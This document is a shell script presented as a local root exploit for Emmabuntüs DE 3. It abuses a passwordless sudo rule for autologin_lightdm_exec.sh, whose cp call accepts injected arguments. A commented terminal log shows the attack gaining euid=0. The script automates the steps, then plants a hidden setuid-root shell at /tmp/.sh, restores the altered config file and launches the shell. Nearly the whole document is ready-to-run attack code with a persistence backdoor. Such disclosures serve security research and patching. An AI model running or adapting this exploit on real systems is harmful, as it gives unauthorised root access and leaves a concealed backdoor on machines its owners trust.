#!/bin/sh
# Emmabuntüs default sudo configuration autologin_lightdm_exec local root exploit
# ---
# Emmabuntüs default `sudo` configuration permits any user to execute
# `/usr/bin/autologin_lightdm_exec.sh` as root without providing a password.
#
# The `autologin_lightdm_exec.sh` script calls `cp` with user supplied arguments,
# resulting in trivial privilege escalation.
#
# Tested on:
# - Emmabuntüs DE 3
# ---
# test@emmabuntus-de3-amd64-buster-rc:~$ id
# uid=1001(test) gid=1001(test) groups=1001(test)
# test@emmabuntus-de3-amd64-buster-rc:~$ ls -la /etc/lightdm/lightdm.conf 
# -rw-r--r-- 1 root root 6434 Aug 24 10:29 /etc/lightdm/lightdm.conf
# test@emmabuntus-de3-amd64-buster-rc:~$ sudo -l | grep autologin_lightdm_exec
#     (root) NOPASSWD: /usr/bin/autologin_lightdm_exec.sh
# test@emmabuntus-de3-amd64-buster-rc:~$ sudo /usr/bin/autologin_lightdm_exec.sh '--backup /bin/sh'
# sudo_autologin_lightdm
# test@emmabuntus-de3-amd64-buster-rc:~$ ls -la /etc/lightdm/lightdm.conf
# -rwxr-xr-x 1 root root 121464 Aug 24 10:55 /etc/lightdm/lightdm.conf
# test@emmabuntus-de3-amd64-buster-rc:~$ sudo /usr/bin/autologin_lightdm_exec.sh '-f --preserve --attributes-only /bin/su'
# sudo_autologin_lightdm
# test@emmabuntus-de3-amd64-buster-rc:~$ ls -la /etc/lightdm/lightdm.conf
# -rwsr-xr-x 1 root root 121464 Jan 10  2019 /etc/lightdm/lightdm.conf
# test@emmabuntus-de3-amd64-buster-rc:~$ /etc/lightdm/lightdm.conf -p
# # id
# uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test)
# ---
# 2019-08-24 - <bcoles@gmail.com>
# https://github.com/bcoles/local-exploits/tree/master/emmabuntus-sudo-autologin-lightdm-exec-lpe

autologin="/usr/bin/autologin_lightdm_exec.sh"
rootshell="/tmp/.sh"

if ! /usr/bin/echo | /usr/bin/sudo -l | /usr/bin/grep NOPASSWD | /usr/bin/grep -q "${autologin}"; then
  /usr/bin/echo "[-] User is not permitted to execute ${autologin} with sudo"
  exit 1
fi

/usr/bin/echo "[*] Launching ${autologin} ..."
/usr/bin/sudo "${autologin}" '--backup /bin/sh'
/usr/bin/sudo "${autologin}" '-f --preserve --attributes-only /bin/su'

conf="/etc/lightdm/lightdm.conf"

if ! /usr/bin/test -u "${conf}"; then
  /usr/bin/echo "[-] Error: Failed to set ${conf} setuid root"
fi

/usr/bin/echo "[+] Success:"
/usr/bin/ls -la "${conf}"
/usr/bin/ls -la "${conf}~"

/usr/bin/echo "[*] Cleaning up ..."
/usr/bin/echo "/usr/bin/cp /bin/sh ${rootshell}" | ${conf} -p
/usr/bin/echo "/usr/bin/chown 0:0 ${rootshell}"  | ${conf} -p
/usr/bin/echo "/usr/bin/chmod 4755 ${rootshell}" | ${conf} -p
/usr/bin/echo "/usr/bin/mv ${conf}~ ${conf}"     | ${conf} -p

/usr/bin/echo "[*] Launching root shell: ${rootshell}"
"${rootshell}" -p

